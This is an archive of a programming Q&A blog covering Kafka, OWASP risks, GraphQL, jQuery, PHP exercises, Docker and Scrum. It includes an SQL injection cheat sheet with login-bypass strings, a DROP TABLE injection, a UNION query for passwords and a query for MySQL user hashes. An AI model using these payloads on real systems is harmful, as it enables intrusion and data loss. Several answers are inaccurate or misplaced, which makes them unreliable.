Monday 21 June 2021

Kafka Interview Questions and Answers

Kafka Interview Questions and Answers

Question: What is Apache Kafka?
Apache Kafka is a open source framework written in Scala and Java which is used for distributed streaming platform.


Question: What are components of Kafka?
  1. Producer –Producers are responsible for sending the data to Kafka topic.
  2. Consumer –Consumers are subscribers to a topic and also reads and processes from the topic.
  3. Topic –It is name of Group where producer send the messages and consumer receive the messages.
  4. Brokers – We use broker to manage storage of messages in the topic .
  5. ZooKeeper - ZooKeeper is used to coordinate the brokers/cluster topology.



Question: Explain the role of the offset.
There is a sequential ID number given to the messages in the partitions that called offset.
It is used identify each message in the partition uniquely.


Question: What is a Consumer Group?
Kafka consumer group consists of one or more consumers that jointly consume a set of subscribed topics.


Question: What is the role of the ZooKeeper?
Apache Kafka is a distributed system is built to use Zookeeper.
Zookeeper’s main role here is to coordinate the brokers/cluster topology.
It also uses to recover from previously committed offset if any node fails because it works as periodically commit offset.



Question: What is Partition in Kafka?
In every Kafka broker, there are few partitions available, and each partition in Kafka can be either a leader or a replica of a topic. 



Question: What are advantage of kafka?
  1. High-throughput
  2. Low Latency
  3. Fault-Tolerant
  4. Durability
  5. Scalability


Question: What are main APIs of Kafka?

  1. Producer API
  2. Consumer API
  3. Streams API
  4. Connector API


Question: What are consumers?

Kafka Consumer subscribes to a topic, and also reads and processes messages from the topic. 



Question: Explain the concept of Leader and Follower?
There is one server which acts as the Leader, and Other servers plays the role as a Followers. 



Question: What ensures load balancing of the server in Kafka?
Main role of the Leader is to perform the task of all read and write requests for the partition, whereas Followers passively replicate the leader. At the time of Leader failing, one of the Followers takeover the role of the Leader. 



Question: Why are Replications critical in Kafka?
Replications make sure that published messages are not lost and can be consumed in the event of any machine error, program error or frequent software upgrades. 


Question: In the Producer, when does QueueFullException occur?
Kafka Producer attempts to send messages at a pace that the Broker cannot handle at that time QueueFullException typically occurs. 



Question: What is the purpose of retention period in Kafka cluster
Retention period retains all the published records within the Kafka cluster but It doesn’t check whether they have been consumed or not. We can also update the Retention period through configuration. 


Question: What is Maximum size of a message that can be received by the Kafka?
1000000 bytes 


Question: Explain Multi-tenancy?
We can enable the Multi-tenancy is enabled, We can easily deploy Kafka as a multi-tenant solution. However, by configuring which topics can produce or consume data 


Question: What is Streams API?
Streams API permits an application to act as a stream processor, and also consuming an input stream and producing an output stream to output topics. 



  Question: What is Connector API?
Connector API permits to run as well as build the reusable producers or consumers which connect Kafka topics to existing applications. 


Question: What are top companies which uses of Kafka?
Netflix
Mozilla
Oracle
etc


Sunday 18 April 2021

XML external entity vs Broken Access Control vs Security Misconfiguration

 

XML external entity vs Broken Access Control vs Security Misconfiguration

Question: What is XML external entity injection?
It allows an attacker to interfere with an application's processing of XML data.
It often allows an attacker to view files on the application server filesystem, and to interact with any back-end.


Question: How do XXE vulnerabilities arise?
Some applications use the XML format to transmit data between the browser and the server.
Applications that do this virtually always use a standard library or platform API to process the XML data on the server.
XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.


Question: What are the types of XXE attacks?
  1. Exploiting XXE to retrieve files
  2. Exploiting XXE to perform SSRF attacks
  3. Exploiting blind XXE exfiltrate data out-of-band, where sensitive data is transmitted from the application server to a system that the attacker controls.
  4. Exploiting blind XXE to retrieve data via error messages, where the attacker can trigger a parsing error message containing sensitive data.



Question: How to prevent XXE vulnerabilities
The easiest and most effective way to prevent XXE attacks is to disable dangerous XML features that the application does not need or intend to use.


What is Broken Access Control?
Most of the website/Application have Access controls by Groups. When this functionality was not implemented properly or having loop holes thats Broken Access Control Vulnerablity.
Access control sounds like a simple problem but is insidiously difficult to implement correctly.


How to Protect Yourself from Broken Access Control Vulnerablity?
  1. Insecure Id’s : Web applications should not rely on the secrecy of any id’s for protection.
  2. Forced Browsing Past Access Control Checks
  3. Path Traversal must be there before grant access
  4. File Permissions: We should give minimum file access
  5. Client Side Caching: Developers should use multiple mechanisms, including HTTP headers and meta tags, to be sure that pages containing sensitive information are not cached by user’s browsers.



Question: What is Security Misconfiguration?
Security Misconfiguration is defined as failing to implement all the security controls for a server or web application, or implementing the security controls.



Give few example of Security Misconfiguration Attack Scenarios?
  1. The application server comes with sample applications that are not removed from the production server.
    These sample applications have known security flaws attackers use to compromise the server.
  2. Directory listing is not disabled on the server.
  3. The application server’s configuration allows detailed error messages, e.g. stack traces, to be returned to users
  4. cloud service provider has default sharing permissions open to the Internet by other CSP users.



Question: How to Prevent Security Misconfiguration?
  1. Remove sample application that comes.
  2. Directory listing must be disabled on the server
  3. Disabled default error message dtails
  4. Always give least permissions
  5. Upto date the servers.
  6. Must be unit testing by developer then by QA
  7. An automated process to verify the effectiveness of the configurations and settings in all environments.
  8. Remove or do not install unused features and frameworks.



What is sensitive data exposure

 

What is sensitive data exposure


Question: What is sensitive data exposure?
Sensitive data exposure happen when an application OR company exposes users's personal data that might be result of no-encryption, weak encryption, software flaws or upload data to public by mistake.


Question: Example of Attack Scenarios?
  1. Someone upload the company data in Facebook/twitter etc by mistake
  2. Transfer of data through HTTP/FTP/SMTP without encryption
  3. Storing the credit card numbers, health records, personal information (email/phone) storing in database without encryption
  4. Encrypting the data with weak cryptographic algorithms or default algorithms
  5. Reuse of cryptographic algorithms OR hash
  6. Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing
  7. User agent (e.g. app, mail client) not verifying the certificate when received request.

Question: How to Prevent sensitive data exposure?
  1. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs
  2. Apply controls as per the classification.
  3. Don’t store sensitive data unnecessarily
  4. Make sure to encrypt all sensitive data at rest.
  5. Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
  6. Encrypt all data in transit with secure protocols such as TLS
  7. Disable caching for response that contain sensitive data
  8. Store passwords using strong adaptive and salted hashing functions.
  9. Verify independently the effectiveness of configuration and settings


Question: Give few popular data breach in history?
  1. Sony PlayStation Network: 77 million records compromised in 2010
  2. Sony Online Entertainment: 24.6 million records compromised in 2011
  3. Evernote: 50 million records compromised in 2013
  4. Living Social: 50 million records compromised in 2013
  5. Target: 70 million records compromised in 2013
  6. eBay: 145 million records compromised in 2014
  7. Home Depot: 56 million records compromised in 2014
  8. JP Morgan Chase: 76 million records compromised in 2014
  9. Anthem: 80 million records compromised in 2015
  10. Yahoo: One billion records compromised in 2016
  11. Deep Root Analytics: 198 million voter records in 2017


Saturday 17 April 2021

Root Causes of Session Hijacking and Session Fixation and Broken Authentication

Root Causes of Session Hijacking and Session Fixation and Broken Authentication
Question: What is Session Hijacking?
Session hijacking is an attack where a user session is taken over by an attacker.


Question: What are the Root Causes of Session Hijacking?
  1. Guessable session ID
  2. Absence of detection mechanism for “repeated guessing trial” either with brute-force or systematic methods.
  3. Weak cryptography algorithm
  4. Unable to detect repeated guessing trials while there is a mechanism in place
  5. Insecure session handling methods
  6. Limitation of HTTP: the statelessness of the protocol or lack of any inherent or integrated state management mechanism



Question: What is Session Fixation?
Session Fixation is an attack that permits an attacker to hijack a valid user session.

Question: What are the Root Causes of Session Fixation?
  1. Permissive Server: a server that accepts client generated session ID
  2. Session management type in use
  3. Reuse of session identifiers



Question: What is Broken Authentication?
Attacker get authenticated when he attack on Session Data and get success.

Question: What are the Root Causes of Broken Authentication?
  1. Lack of metrics: absence of well-developed metrics
  2. Lack of security knowledge among programmers to apply information and communication security mechanisms to their solutions
  3. Wrong decisions or compromises
  4. Use of self-developed modules instead of well tested and thoroughly analyzed modules for security services such as authentication
  5. Storing user credentials with other application data.
  6. Guessing Attempts: allowing repeated guessing attempts
  7. Lack of security awareness among users.




MySQL - SQL Injection Cheat Sheet

 

MySQL - SQL Injection Cheat Sheet


Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query
SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query
SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query
SELECT id,/* comment here*/ email FROM members WHERE 1 


#3 SQL Injection Attack deleting table
SELECT id email FROM members WHERE email="arun@example.com" ; drop table users


#4 Union Injections - try to get another table data
SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members


#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password
SELECT User,Password FROM mysql.user;


#7 Get MySQL version
SELECT @@version


#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)

Tuesday 13 April 2021

OWASP Top 10 Security Risks and Vulnerabilities

OWASP Top 10 Security Risks and Vulnerabilities



Question: What Is OWASP?

Full form of OWASP is Open Web Application Security Project.
It is community which includes small and big IT companies and individual people etc, they provide us Top Vulnerabilities in IT.
Its is not an official standard, it is just a white paper that is used by many organizations, vulnerability bounty programs, and cyber security experts etc

 
Question: What are Top 10 Security Risks and Vulnerabilities?
  1. Injection :
    With use of Structured Query Language(SQL), unauthorized person try to get the data which he have not access, modify/delete the data which he have not access.

  2. Broken Authentication :
    With use of Some cookie/Sessions, unauthorized person try to login in the system

  3. Sensitive Data Exposure :
    When we use website with Http URL (unsecured data transmission), data can be read by unauthorized person/organization

  4. XML External Entities :
    Many times organization provide the XML data which is public, Attackers attack on the public data which leads to shut down the server.

  5. Broken Access Control :
    Due to In proper coding/testing, Normal user switch to Admin user by manipulating some param.

  6. Security Mis-configuration:
    Default Server configuration must be need check and update before go live.

  7. Cross site scripting (XSS):
    With use of javascript, Attackers post on malicious code and it damage the server or effect the other users

  8. Insecure Deserialization :
    When we transform the data from one format to another format, sometime data change to dramatically bad.

  9. Using component with Known vulnerabilities :
    When we use the third party component without deep analysis, It can baddly effect of server or application.

  10. Insufficient Logging and monitoring :
    We must add the proper logs to analyse in future



Sunday 28 March 2021

Graphql basic example with code snippet

Graphql basic example with code snippet
Question: What is GraphQL?
GraphQL is a query language for API, and it is server-side runtime for executing queries by using a type system you define in server.


Question: What is GraphQL used for?
Load data from a server to a client (API)


Is GraphQL a REST API?
GraphQL follows the same set of constraints as REST APIs, but it organizes data into a graph. GraphQL can speed up development and automation in comparison to REST API.


Is GraphQL frontend or backend?
Its neither frontend or backend. Its language to exchange the data between client and server.


Does Facebook use GraphQL?
Facebook used GraphQL since 2012.


Who uses GraphQL?
Facebook. Instagram. Shopify. Twitter. StackShare. Stack. The New York Times. Tokopedia. etc


GraphQL Example 1 with Node
var { graphql, buildSchema } = require('graphql');

var schema = buildSchema(`
  type Query {
    name: String,
    age: String,
  }
`);

var root = { name: () => 'My Name is Arun kumar.', age: ()=> '20 Year' };

graphql(schema, '{name}', root).then((response) => {
  console.log(response);
});



GraphQL Example 2 with Node
var { graphql, buildSchema } = require('graphql');

var schema = buildSchema(`
  type Query {
    name: String,
    age: String,
  }
`);

var root = { name: () => 'My Name is Arun kumar.', age: ()=> '20 Year' };

graphql(schema, '{name,age}', root).then((response) => {
  console.log(response);
});



GraphQL Example 3 with Node
var { graphql, buildSchema } = require('graphql');

var schema = buildSchema(`
  type Query {
    name: String,
    age: String,
    address: String,
  }
`);

var root = { name: () => 'My Name is Arun kumar.', age: ()=> '20 Year', address: ()=>'#238, Palm city, Sector 127, kharar'};

graphql(schema, '{name,age,address}', root).then((response) => {
  console.log(response);
});



GraphQL Example 4 with Node
const express = require('express');
const { ApolloServer, gql } = require('apollo-server-express');

const typeDefs = gql`
  type Query {
    hello: String,
    name: String,
    age: String,
    address: String,
    city: String,
  }
`;


const resolvers = {
  Query: {
    hello: () => 'Hello world!',
    name: () => 'My Name is Arun kumar.',
    age: ()=> '20 Year',
    address: ()=>' Sector 127, mohali',
    city:()=> 'kharar'
  },
};

const server = new ApolloServer({ typeDefs, resolvers });

const app = express();
server.applyMiddleware({ app });

app.listen({ port: 4000 }, () =>
  console.log('Now browse to http://localhost:4000' + server.graphqlPath)
);




GraphQL Example 5 with Node
var express = require('express');
var { graphqlHTTP } = require('express-graphql');
var { buildSchema } = require('graphql');

var schema = buildSchema(`
  type Query {
    hello: String,
    name: String,
    age: String,
    address: String,
    city: String,
  }
`);

var root = {
  hello: () => 'Hello world!',
  name: () => 'My Name is Arun kumar.',
  age: ()=> '20 Year',
  address: ()=>' My city, Sector 127',
  city:()=> 'kharar'
};

var app = express();
app.use('/graphql', graphqlHTTP({
  schema: schema,
  rootValue: root,
  graphiql: true,
}));
app.listen(4000, () => console.log('Now browse to localhost:4000/graphql'))





Wednesday 4 November 2020

JQuery Interview Questions And Answers For Experienced



JQuery Interview Questions And Answers For Experienced
jQuery is a fast, small, and rich-featured JavaScript library.

It makes things like HTML document traversal and manipulation, event handling, animation, Ajax and much simpler with an easy-to-use jQuery. Jquery works across a multiple of browsers. 

With a combination of versatility and extensible, jQuery has changed the way that millions of people write JavaScript. It help for Fast development.


Question: What is current stable version of jQuery?
Version: 3.4.1 (May 1, 2019)


Quesion: In Which language jQuery is written?
JavaScript


Question: What is offical website of jQuery?
https://jquery.com/


Question: Which file need to include to use jQuery functions.
We must include a jQuery file.
We can also include jQuery from their official website.
<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>



Question: What are other jQuery Foundation Projects?
  • jQuery User Interface
  • jQuery Mobile
  • QUnit
  • Sizzle


Question: What is JQuery UI?
JQuery UI is a jQuery library where UI comes with cool widgets, effects and interaction mechanism. Whether you're building highly interactive web applications OR just need to add a date picker to a form control, jQuery UI is the perfect choice.


Question: From where I can get List of jQuery UI Demos?
http://jqueryui.com/demos/



Question: What are the different type of selectors in Jquery?
Following are 3 types of selectors in Jquery
  1. CSS Selector
  2. XPath Selector
  3. Custom Selector


Question: What is the difference between jQuery-x.x.x.js and jQuery.x.x.x-min.js?
In terms of functionality, there is no difference between the jQuery-x.x.x.js and jQuery-x.x.x-min.js. jQuery-x.x.x-min.js also called minified version because in this file there is no space, no tab, no newline, small variable name and very less file size. Minified version load more faster as compare to normal jquery, that's why minified version used in production environment. However this can play a vital role in th


Question: What is the use of Delegate() Method in jQuery?
1. Attach an parent event to each one of its child elements.
2. Attach the event to the elements which is not available at the time of page loading (element will after page load).



Question: What does .size() method of jquery?
Return the number of elements in node.
$("div.webtechnologyexpert").size();



Question: What is the use of jQuery Connect?
It is used to connect or bind a function to another function.It is use to execute a function whenever a function from another object is executed. To use this you need to download the jquer.connect.js file.
        $.connect('fun1',fun2) 
        $.connect(null,'fun1',fun2) 
        $.connect(self,'fun1',fun2) 
        $.connect('fun1',null,fun2)     



Question: What is the use of jQuery disconnect?
It is used to disconnect a function to another function.It is the opposite of $.connect



Question: What is the use of jQuery disconnectAll?
It is used to disconnect all the connected functions.


Question: What is the purpose of jquery-x.x.x-vsdoc.js?
Generally we will use jQuery-x.x.x-vsdoc.js to provide the intellisense support. We can even delete this file. But the thing is that it won't provide the intellisense support if we delete that file.


Question: How to hide and show a div?
$(document).ready(function(){
        $('div#mydiv').hide();
        $('div#mydiv').show();  
    });


Question: How to add data in empty div?
$(document).ready(function(){        
        $('div#mydiv').html();
});


Question: How to add click event on div in jQuery
    $(document).ready(function(){
        $("div#mydiv").click(function(){
            alert('mydiv is clicked')
        });
    });



Question: How to add double-click event on div in jQuery
    $(document).ready(function(){
        $("div#mydiv").dblclick(function(){
            alert('mydiv is double clicked')
        });
    });


Question: How to add hover event on div in jQuery?
    $(document).ready(function(){
        $("div#mydiv").hover(function(){
            alert('Hover on mydiv')
        });
    });    



Question: Is jQuery dependened on operating system?
No, jQuery is independent of any operating system. It works similar in all operating system.



Question: Explain the features of jQuery?
  1. Effects and animations on html
  2. Ajax to send the server call
  3. Extensibility
  4. Add/Change on DOM
  5. Add, Update, delete Events
  6. CSS manipulation with use of jquery
  7. We can add JavaScript Plugins
  8. DOM traversal and modification with use of jquery


Question: Can constructors be parameterized?
Yes, It can be.


Question: What is Bootstrap, Extension and System Class loader? Can you explain primordial class loader?
Bootstrap class loader
Bootstrap class loader loads those classes those which are essential for JVM to function properly. Bootstrap class loader is responsible for loading all core java classes for instance java.lang.*, java.io.* etc.

The extension class loader
The extension class loader also termed as the standard extensions class loader is a child of the bootstrap class loader. Its primary responsibility is to load classes from the extension directories, normally located the "jre/lib/ext" directory. This provides the ability to simply drop in new extensions, such as various security extensions, without requiring modification to the user's class path.

The system class loader
The system class loader also termed application class loader is the class loader responsible for loading code from the path specified by the CLASSPATH environment variable. It is also used to load an application’s entry point class that is the "static void main ()" method in a class.




Question: How to Merge the contents of two or more objects together into the one/first object?.
jQuery.extend( [ deep ], targetobject, [ object List] )



Question: How do I check if an element is hidden in jQuery?
Since the question refers to a single element, this code might be more suitable.

// Checks CSS content for display:[none|block], ignores visibility:[true|false]
$(element).is(":visible");

// The same works with hidden
$(element).is(":hidden");




Question: How do I redirect to another webpage??
// similar behavior as an HTTP redirect
window.location.replace("https://www.web-technology-experts-notes.in/");

// similar behavior as clicking on a link
window.location.href = "https://www.web-technology-experts-notes.in/";




Wednesday 26 August 2020

PHP Program Reverse the String without Function

PHP Program Reverse the String without Function


 Write a PHP  function FirstReverse(str) take the str parameter being passed and return the string in reversed order. 

    For Example: if the input string is "Hello World and Coders" then your program should return the string sredoC dna dlroW olleH.

Solution:


function FirstReverse($str) {
    $result='';
    for($i=strlen($str)-1; $i>=0; $i--){
      $result = $result.$str[$i];
    }  
      return $result;

}



PHP Program Find Intersection between Two array

PHP Program Find Intersection between Two array

Create PHP  function FindIntersection(strArr) read the array of strings stored in strArr which will contain 2 element

 the first element will represent a list of comma-separated numbers sorted in ascending order.
 the second element will represent a second list of comma-separated numbers. 

Your function should return a comma-separated string containing the numbers that occur in elements of strArr in sorted order.
  If there is no intersection, return the string false.


Solution:

  function FindIntersection($strArr) {
    $return ='false';  
    $array1 = explode(',',$strArr[0]);
    $array1= array_map('trim',$array1);

    $array2 = explode(',',$strArr[1]);
    $array2= array_map('trim',$array2);

    $result= array_intersect($array1,$array2);
    if(!empty($result)){
      $return=implode(',',$result);  
    }

  return $return;

}
  

PHP Program Longest Word from the string

PHP Program Longest Word from the string

 Create PHP function LongestWord(sen) take the sen parameter being passed and return the largest word in the string.

If there are two or more words that are the same length, return the first word from the string with that length. 

Ignore punctuation and assume sen will not be empty.




Solution: 


function LongestWord($sen) {
    $return = '';

    //Convert string into Array
    $strArrayList = explode(' ', $sen);
    $finalArray = array();

    ///////Filter the words///////////
    foreach($strArrayList as $str){
        $str = preg_replace("#[[:punct:]]#", "", $str);
        $finalArray[] = $str;
    }
    ///////Filter the words///////////
    
    /////////// Get the First word  from the string with that length////////
    foreach($finalArray as $word){
        if(strlen($word)> strlen($return)){
        $return = $word;
        }
    }
    /////////// Get the First word  from the string with that length////////
    
    
    return $return;

}


Tuesday 25 August 2020

PHP Username Validation program

 

PHP Username Validation program

Creat function usernameValidation(str) take the str parameter being passed and determine if the string is a valid username according to the following rules:
  1. The username is between 4 and 25 characters.
  2. It must start with a letter.
  3. It can only contain letters, numbers, and the underscore character.
  4. It cannot end with an underscore character.
If the username is valid then your program should return the string true, otherwise return the string false

Solution:
function usernameValidation($str) {
    $return = true;
    
    ////////////////// 4 to 25 character////////////
    if ($return) {
        if (!(strlen($str) >= 4 && strlen($str) <= 25)) {
            $return = false;
        }
    }
    ////////////////// 4 to 25 character////////////
    
    ////////////////// Must start with Number ////////////
    if ($return) {
        $asciiCode = ord($str[0]);
        if (!(($asciiCode >= 97 && $asciiCode <= 122) || ($asciiCode >= 65 && $asciiCode <= 90))) {
            $return = false;
        }
    }
    ////////////////// Must start with Number ////////////
    
    ///////////// It can only contain letters, numbers, and the underscore character.///////////
    if ($return) {
        for ($i = 0; $i < strlen($str); $i++) {
            $asciiCode = ord($str[$i]);
            if (!( ($asciiCode >= 97 && $asciiCode <= 122) || ($asciiCode >= 65 && $asciiCode <= 90) || ($asciiCode >= 48 && $asciiCode <= 57) || ($asciiCode == 95))) {
                $return = false;
                break;
            }
        }
    }
    ///////////// It can only contain letters, numbers, and the underscore character.///////////
    
    ///////////It cannot end with an underscore character.///////////
    if ($return) {
        $asciiCode = ord($str[$i - 1]);
        if ($asciiCode == 95) {
            $return = false;
        }
    }
    ///////////It cannot end with an underscore character.///////////
    
    return $return ? 'true' : 'false';
}

Docker tutorial for beginners

Docker tutorial for beginners

Question: What is docker?
Docker is a container management service.
It is for mainly for developers to easily develop applications, push them into containers which then be deployed anywhere to physical server/virtual server/cloud server.


Question: Features of Docker?
  1. Docker containers are lightweight so they can be easily scalable.
  2. Deploy docker containers on any physical and virtual machines and even on the cloud.
  3. Docker has the ability to reduce the size of development by providing a smaller part of the operating system via containers



Question: What is container in docker?
A container is a standard unit of software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another.
Applications are better shape in containers and Docker provides the isolation capabilities.


Question: What is docker image?
A Docker image is a file, comprised of multiple layers, that is used to execute code in a Docker container.
Images can exist without containers, whereas a container needs to run an image to exist.


Question: What is a docker hub repository?
Docker Hub is a hosted repository service provided by Docker for searching and sharing container images.
hosted repository can be public or private.
URL: hub.docker.com


Question: How to install docker in windows 10 Pro?
  1. Open the link : Download docker for windows
  2. Click on "Get Stable" Link
  3. Download the file
  4. Once downloaded, then simply install



Question: How to check the version of docker?
docker --version



Question: How to list the running docker containers ?
docker container ls



Question: How to list the all docker containers ?
docker container ls -a



Question: How to list the all docker images?
docker images



Question: How to pull the docker container from docker hub?
docker run --name my-mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql




Wednesday 12 August 2020

npm firebase

npm firebase


Question: What is firebase?
Firebase provides the tools and infrastructure you need to develop, grow, and earn money from your app.


Question: What is firebase used for?
Firebase is mobile application development platform that helps you build, improve, and grow your app.


Question: Is firebase a backend?
Firebase is a fully managed platform for building Android, iOS, and web apps that provides automatic data synchronization services, authentication services, messaging services, file storage services and analytics etc.


Question: Is firebase free to use?
Both (free and Paid)


Question: What companies use firebase?
  1. Client Platform
  2. Accenture
  3. LaunchDarkly
  4. Bepro Company
  5. ViaVarejo
  6. Stack
  7. Twitch
  8. Instacart



Question: Does firebase provide Crash Reporting?
Yes, Its provide crash reports for both App (android and IOS)


Question: Which language is used in firebase?
The Firebase SDK supports programming in C++, Java, JavaScript, JavaScript/Node. js, Objective-C, and Swift.


Question: Which language is used in firebase?
The Firebase SDK supports programming in C++, Java, JavaScript, JavaScript/Node. js, Objective-C, and Swift.


Question: What does provide the firebase?
Firebase Realtime Database - The Firebase Realtime Database lets you store and query user data, and makes it available between users in realtime.
Cloud Firestore - Cloud Firestore is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud Platform.
Firebase Storage - Firebase Storage lets you upload and store user generated content, such as files, and images.
Firebase Cloud Messaging - Firebase Cloud Messaging is a cross-platform messaging solution that lets you reliably deliver messages at no cost.
Firebase Authentication - Firebase helps you authenticate and manage users who access your application.
Create and setup your account - Get started using Firebase for free.


Question: How to use firebase in browser?
//Include the below JS in HTML
https://www.gstatic.com/firebasejs/${JSCORE_VERSION}/firebase.js

//Create the Firebase Object
  var app = firebase.initializeApp({
    apiKey: '',
    authDomain: '',
    databaseURL: '',
    projectId: '',
    storageBucket: '',
    messagingSenderId: ''
  });

Question: How to use firebase with node?
//Install the firebase in node
npm install --save firebase

//Create the Firebase object
var firebase = require('firebase');
var app = firebase.initializeApp({ ... });



Monday 3 August 2020

log analyzer tool for linux - GoAccess

log analyzer tool for linux - GoAccess

Question: What is GoAccess in linux?
GoAccess is an open source real-time web log analyzer and interactive viewer that runs in a terminal.


Question: How GoAccess works?
It analyse the Log file (access.log) which is cotinue in writes by application.



Question: What are the benefits of GoAccess?
  1. Completely Real Time
  2. Nearly All Web Log Formats
  3. Track Application Response Time
  4. Incremental Log Processing
  5. Minimal configuration needed
  6. Visitors
  7. Color Scheme Customizable




Question: Does GoAccess is available for GUI?
Yes, You can watch in Terminal and GUI.


How to install GoAccess in Server?
git clone https://github.com/allinurl/goaccess.git
cd goaccess
autoreconf -fi
./configure --enable-geoip --enable-utf8
make



How to run GoAccess to check the analytics?
goaccess access.log -c




How to check the analytics in HTML page?
goaccess access.log -o report.html --log-format=COMBINED

Now run, https://example.com/report.html



How to check the analytics in HTML page dynamically?
goaccess access.log -o /var/www/html/dynamic.html --log-format=COMBINED --real-time-html

Now run, https://example.com/dynamic.html




Question: Share the Offical website link?
https://goaccess.io/




Wednesday 29 July 2020

How do I manage MongoDB connections in a Node.js web application?

How do I manage MongoDB connections in a Node.js web application?

Question: How do I manage MongoDB connections in a Node.js web application?
You need to install mongoose and bluebird module.
Also you must have mongodb install in server, As you need mongodb URL and port on which mongodb running.

Example
var mongoose = require('mongoose');
mongoose.Promise = require('bluebird');
//mongodb connection with error handing
mongoose.connect(config.MONGO_DB_URL + config.MONGO_DB);
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'connection error:'));
db.once('open', function() {
    console.log("MongoDB connected Successfully.!");
});




Question: mongoose - find all documents with IDs listed in array?
var AjaxChatUser = mongoose.model('AjaxChatUser');
AjaxChatUser.find({
    '_id': { $in: [
        mongoose.Types.ObjectId('4ed3ede8844f0f351100000c'),
        mongoose.Types.ObjectId('4ed3f117a844e0471100000d'), 
        mongoose.Types.ObjectId('4ed3f18132f50c491100000e')
    ]}
}, function(err, docs){
     console.log(docs);
});



Question: How to npm install to a specified directory?
Use --prefix option, to installed in specific directory.
Example
npm install --prefix  -g



Question: How to declare multiple module.exports in Node.js?
You can put multiple function inside module.exports.

Example
module.exports = {
    method: function() {},
    otherMethod: function() {},
};


Question: Can we write a JS code that work for both (node and the browser)?
Yes, We can write.
Suppose we have mymodule.js which have following code.
Example of Code
(function(exports){
   exports.test1 = function(){
        return 'this is test1 function.'
    };
   exports.test2 = function(){
        return 'this is test2 function.'
    };

})(typeof exports === 'undefined'? this['mymodule']={}: exports);


In Node (Server side()
var share = require('./mymodule.js');
share.test1();
share.test2();


In Browser (Client side()
//Include the js with script tag
share.test1();
share.test2();




Question: How we can use global variable in Node?
We can use with global.varname
global.version='1022.55';



Question: How we can access static files with express.js in Node?
Use following to set the folder as static so that we can put public files here.
app.use(express.static('public')); //public folder




Friday 24 July 2020

Scrum Tutorial - part 2

Scrum Tutorial - part 2

Question: What is Scrum Events?
There are prescribed events that are used in Scrum to create regularity  and these are time-boxed events.
Following are 4 Events.
  1. Sprint planning
  2. Daily scrum
  3. Sprint review
  4. Sprint retrospective


Question: What is Product Backlog?
The Product Backlog is an ordered list of application/software/etc that is known to be needed in the product.
It is the single source of requirements for any changes to be made to the product.
The Product Owner is responsible for the Product Backlog, including its content, availability, and ordering.



Question: What is Sprint Backlog?
The Sprint Backlog is the set of Product Backlog items selected for the Sprint, plus a plan for delivering the product Increment and realizing the Sprint Goal.
The Sprint Backlog is a forecast by the Development Team about what functionality will be in the next Increment


Question: What is Increment?
The Increment is the sum of all the Product Backlog items completed during a Sprint and the value of the increments of all previous Sprints.



Question: What is Definition of DONE?
When a Product Backlog item or an Increment is described as “Done”, everyone must understand what "Done" means.
Before a Product Backlog Item is considered "done" or "complete", it must respect the following criteria (Defination may be similar to below):
--Unit Tests are written and passing
--Acceptance Tests are written and passing
--Accessibility testing using https://wave.webaim.org/
--Continuous Integration (CI) pipeline passing



Question: What is Burn-down Chart?
A chart which shows the amount of work which is thought to remain in a backlog. .



Question: What is Burn-up Chart?
A chart which shows the amount of work which has been completed..



Question: What is Coherent/Coherence?
The quality of the relationship between certain Product Backlog items which may make them worthy of consideration as a whole.



Question: What is Emergence?
The process of the coming into existence or prominence of new facts or new knowledge of a fact, or knowledge of a fact becoming visible unexpectedly.



Question: What is Empiricism?
It has three pillars: transparency, inspection and adaptation.



Question: What is Sprint Retrospective?
Scrum Event that is set to a time-box of 3 hours, or less, to end a Sprint.



Question: What is Technical Debt?
The typically unpredictable overhead of maintaining the product.



Question: What is Artifacts?
An object made by a human being, typically one of cultural or historical interest.



Question: What is Cancelling a Sprint?
A Sprint can be cancelled before the Sprint time-box is over. Only the Product Owner has the authority to cancel the Sprint, although he or she may do so under influence from the stakeholders, the Development Team, or the Scrum Master. 


 
Question: Describe the Scrum Events in Details?
  1. Sprint planning: A time-boxed event occurs at the beginning of a sprint where the team determines the product backlog items they will work.
  2. Daily scrum: A is a 15-minute time-boxed event for the Development Team to synchronize activities and create a plan for the next 24 hours.
  3. Sprint review: A time-boxed event holds at the end of the Sprint to inspect the Increment and adapt the Product Backlog if needed. In this the Scrum Team and stakeholders collaborate about what was done in the Sprint.
  4. Sprint retrospective: Event for providing an opportunity for the Scrum Team to inspect itself and create a plan for improvements to be enacted during the next Sprint.

Thursday 23 July 2020

Python Interview Questions and Answers for Freshers

Python Interview Questions and Answers for Freshers

Question: What is current Stable version of Python?

Version: 3.5.1 Dated: 7 December 2015


Question: What is Filename extension of Python?
py, .pyc, .pyd, .pyo, pyw, .pyz


Question: What is offical website of Python?
www.python.org


Question: What is the difference between deep copy and shallow copy?
  1. Shallow copy is used when a new instance type gets created and it keeps the values that are copied.
    Deep copy is used to store the values that are already copied.
  2. Shallow copy is used to copy the reference pointers just like it copies the values.
  3. Shallow copy allows faster execution of the program whereas deep copy makes slow.

Question: How to use ternary operators?
[on_true] if [expression] else [on_false]
x, y = 25, 50
big = x if x < y else y



Question: What are different data-type in Python?
  1. Numbers
  2. Strings
  3. Strings
  4. List
  5. Dictionaries
  6. Sets



Question: What is module in python?
Module is set of related functionalities. Each python program file is a module, which imports other modules to use names they define using object.attribute notation.


Question: What is lambda in python?
lamda is a single expression anonymous function often used as inline function.


Question: How to validate Email Address in python?
